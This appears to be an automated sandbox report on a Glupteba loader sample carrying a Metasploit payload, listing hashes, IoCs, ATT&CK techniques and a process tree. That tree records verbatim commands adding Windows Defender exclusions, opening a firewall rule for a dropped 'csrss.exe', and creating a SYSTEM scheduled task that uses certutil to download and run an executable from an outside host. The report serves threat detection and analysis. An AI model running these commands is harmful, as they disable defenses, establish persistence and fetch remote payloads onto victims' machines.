glupteba | 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539

General

Target

4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Size

4.4MB
MD5

4e65a4077f352f0d56a54e87fa5e39b2
SHA1

905fdd590c50ef59b1a33ab8d8dd8b10d48b976d
SHA256

4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539
SHA512

b768d3d057f1acd12758616abf6ae311985303ea45ec2c4e3b3387891228db9a05a8316b275c65c1c78fe5d7c846993cac4545c24449147920dcdc772840bfe5

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 10 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1884-56-0x00000000035E0000-0x0000000003F06000-memory.dmp	family_glupteba
behavioral1/memory/1884-57-0x0000000000400000-0x000000000302B000-memory.dmp	family_glupteba
behavioral1/memory/1884-58-0x00000000035E0000-0x0000000003F06000-memory.dmp	family_glupteba
behavioral1/memory/1884-59-0x0000000000400000-0x000000000302B000-memory.dmp	family_glupteba
behavioral1/memory/1884-61-0x0000000000400000-0x000000000302B000-memory.dmp	family_glupteba
behavioral1/memory/1656-63-0x0000000000400000-0x000000000302B000-memory.dmp	family_glupteba
behavioral1/memory/1656-66-0x0000000000400000-0x000000000302B000-memory.dmp	family_glupteba
behavioral1/memory/1656-73-0x0000000000400000-0x000000000302B000-memory.dmp	family_glupteba
behavioral1/memory/832-76-0x0000000000400000-0x000000000302B000-memory.dmp	family_glupteba
behavioral1/memory/832-77-0x0000000000400000-0x000000000302B000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Windows security bypass 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\AncientFrog = "0"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe = "0"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe

Executes dropped EXE 1 IoCs

Processes:

csrss.exe

pid process

832 csrss.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

1016 netsh.exe

pid	process
832	csrss.exe

pid	process
1016	netsh.exe

Loads dropped DLL 2 IoCs

Processes:

4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe

pid	process
1656	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
1656	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe = "0"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\AncientFrog = "0"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Windows\CurrentVersion\Run\AncientFrog = "\"C:\\Windows\\rss\\csrss.exe\""	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 3 IoCs

Processes:

4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exemakecab.exe

description	ioc	process
File created	C:\Windows\rss\csrss.exe	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20220707230601.cab	makecab.exe
File opened for modification	C:\Windows\rss	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

432 schtasks.exe
1888 schtasks.exe

pid	process
432	schtasks.exe
1888	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exenetsh.execsrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-412 = "E. Africa Standard Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-682 = "E. Australia Standard Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-302 = "Romance Standard Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-12 = "Azores Standard Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-721 = "Central Pacific Daylight Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies."	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-71 = "Newfoundland Daylight Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-552 = "North Asia Standard Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-792 = "SA Western Standard Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-602 = "Taipei Standard Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-402 = "Arabic Standard Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-251 = "Dateline Daylight Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-364 = "Middle East Daylight Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-531 = "Sri Lanka Daylight Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-132 = "US Eastern Standard Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-522 = "N. Central Asia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-572 = "China Standard Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-231 = "Hawaiian Daylight Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-691 = "Tasmania Daylight Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-141 = "Canada Central Daylight Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-171 = "Central Daylight Time (Mexico)"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-421 = "Russian Daylight Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-448 = "Azerbaijan Daylight Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-332 = "E. Europe Standard Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-752 = "Tonga Standard Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-932 = "Coordinated Universal Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-434 = "Georgian Daylight Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-592 = "Malay Peninsula Standard Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-384 = "Namibia Daylight Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-741 = "New Zealand Daylight Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-211 = "Pacific Daylight Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-831 = "SA Eastern Daylight Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-532 = "Sri Lanka Standard Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-651 = "AUS Central Daylight Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-271 = "Greenwich Daylight Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-542 = "Myanmar Standard Time"	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe

pid	process
1884	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
1656	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe

description	pid	process
Token: SeDebugPrivilege	1884	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Token: SeImpersonatePrivilege	1884	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.execmd.exe

description	pid	process	target process
PID 1656 wrote to memory of 1892	1656	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe	cmd.exe
PID 1656 wrote to memory of 1892	1656	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe	cmd.exe
PID 1656 wrote to memory of 1892	1656	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe	cmd.exe
PID 1656 wrote to memory of 1892	1656	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe	cmd.exe
PID 1892 wrote to memory of 1016	1892	cmd.exe	netsh.exe
PID 1892 wrote to memory of 1016	1892	cmd.exe	netsh.exe
PID 1892 wrote to memory of 1016	1892	cmd.exe	netsh.exe
PID 1656 wrote to memory of 832	1656	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe	csrss.exe
PID 1656 wrote to memory of 832	1656	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe	csrss.exe
PID 1656 wrote to memory of 832	1656	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe	csrss.exe
PID 1656 wrote to memory of 832	1656	4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe	csrss.exe

C:\Users\Admin\AppData\Local\Temp\4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
"C:\Users\Admin\AppData\Local\Temp\4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1884

C:\Users\Admin\AppData\Local\Temp\4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
"C:\Users\Admin\AppData\Local\Temp\4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe"
2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1656

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:1892

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:1016

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:832

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:432

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:1888

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220707230601.log C:\Windows\Logs\CBS\CbsPersist_20220707230601.cab
1⤵
- Drops file in Windows directory
PID:1352

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Disabling Security Tools

2

T1089

Modify Registry

3

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Windows\rss\csrss.exe
Filesize
4.4MB

MD5
4e65a4077f352f0d56a54e87fa5e39b2

SHA1
905fdd590c50ef59b1a33ab8d8dd8b10d48b976d

SHA256
4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539

SHA512
b768d3d057f1acd12758616abf6ae311985303ea45ec2c4e3b3387891228db9a05a8316b275c65c1c78fe5d7c846993cac4545c24449147920dcdc772840bfe5

Download Submit
C:\Windows\rss\csrss.exe
Filesize
4.4MB

MD5
4e65a4077f352f0d56a54e87fa5e39b2

SHA1
905fdd590c50ef59b1a33ab8d8dd8b10d48b976d

SHA256
4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539

SHA512
b768d3d057f1acd12758616abf6ae311985303ea45ec2c4e3b3387891228db9a05a8316b275c65c1c78fe5d7c846993cac4545c24449147920dcdc772840bfe5

Download Submit
\Windows\rss\csrss.exe
Filesize
4.4MB

MD5
4e65a4077f352f0d56a54e87fa5e39b2

SHA1
905fdd590c50ef59b1a33ab8d8dd8b10d48b976d

SHA256
4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539

SHA512
